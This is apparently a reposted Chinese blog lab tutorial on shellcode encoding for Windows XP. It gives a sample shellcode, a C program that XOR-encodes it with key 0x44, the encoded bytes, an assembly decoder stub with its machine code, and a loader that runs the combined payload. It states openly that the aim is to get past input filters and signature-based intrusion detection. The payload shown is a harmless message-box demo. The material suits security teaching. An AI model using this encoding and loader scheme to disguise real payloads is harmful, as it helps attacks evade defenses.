3.6 shellcode编码技术

目录

一、为什么需要对shellcode进行编码?

 二、实验环境

三、实验步骤


一、为什么需要对shellcode进行编码?

        主要原因有:

        (1)所有的字符串函数都会对NULL字节进行限制,为此,我们需要使用特殊的指令来避免在shellcode中直接出现NULL字节或者字;

        (2)有些函数还要求shellcode必须为可见字符的ASCII值或者Unicode值;

        (3)基于特征的IDS系统往往也会对常见的shellcode进行拦截。

        说到底,就是如何绕过各种各样的规则,将shellcode从程序接口安全得送入栈内!

        方法:使用编码技术对shellcode进行编码,使其满足限制得要求,再构造解码程序,放在shellcode开始执行的地方。当exploit成功时,shellcode顶端的解码程序首先运行,它会把shellcode还原成原来的样子。示意图如下:

 二、实验环境

        windows XP、VC6.0、Ollydbg

        需要用到的shellcode代码:

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
"\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
"\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34"
"\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
"\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
"\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66"
"\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

三、实验步骤

1、对shellcode进行编码。本实验采用基于异或运算得编码器,具体代码如下:

#include<stdio.h>
#include<windows.h>
#include<string.h>

void encoder(char* input,unsigned char key,int display_flag) //bool display_flag
{
	int i=0,len=0;
	FILE* fp;
	unsigned char* output;
	len=strlen(input);
	output=(unsigned char*)malloc(len+1);
	if(!output)
	{
		printf("memory erro!\n");
		exit(0);
	}
	//encode the shellcode
	for(i=0;i<len;i++)
	{
		output[i]=input[i]^key;
	}
	if(!(fp=fopen("encode.txt","w+")))
	{
		printf("output file create erro");
		exit(0);
	}
	fprintf(fp,"\"");
	for(i=0;i<len;i++)
	{
		fprintf(fp,"\\x%0.2x",output[i]);
		if((i+1)%16==0)
		{
			fprintf(fp,"\"\n\"");
		}
	}
	fprintf(fp,"\";");
	fclose(fp);
	printf("dump the encoded shellcode to encode.txt OK!\n");
	if(display_flag)//print to screen
	{
		for(i=0;i<len;i++)
		{
			printf("%0.2x",output[i]);
			if((i+1)%16==0)
			{
				printf("\n");
			}
		}
	}
	free(output);
}

void main()
{
	char shellcode[] = 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
"\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
"\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34"
"\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
"\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
"\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66"
"\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
	encoder(shellcode,0x44,1);

}

        在vc6.0中直接编译、执行,会得到编码后的shellcode。

        编码后的shellcode如下:

"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc";

2、对于解码,可以用如下代码实现:

#include<stdio.h>

void main()
{
	_asm
	{
		add eax,0x14 
		xor ecx,ecx
decode_loop:
		mov bl,[eax+ecx]
		xor bl,0x44
		mov [eax+ecx],bl
		inc ecx
		cmp bl,0x90
		jne decode_loop
	}
}

        注:解码器不能单独运行,需要在VC6.0中编译、执行,生成PE文件,然后用Ollydbg提取出二进制的机器码。

汇编变为机器码
机器代码 汇编指令 说明
\x83\xC0\x14 add eax,0x14 越过decoder代码区
\x33\xC9 xor ecx,ecx ECX被当作循环变量
\x8A\x1C\x08 mov bl,[eax+ecx]
\x80\xF3\x44 xor bl,0x44 key=0x44
x88\x1C\x08 mov [eax+ecx],bl
\x41 inc ecx
\x80\xFB\x90 cmp bl,0x90 0x90作为shellcode结束的标识符
\x75\xF1 jne

3、将解码指令放在经过编码后的shellcode前面,一起送入装载器测试。

#include<stdio.h>
#include<windows.h>
char shellcode[] = 
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc";
   
void main()  
{
	_asm
	{
		lea eax,shellcode
		push eax
		ret
	}
}

        运行效果:

猜你喜欢

转载自blog.csdn.net/qq_55202378/article/details/126143031
3.6
今日推荐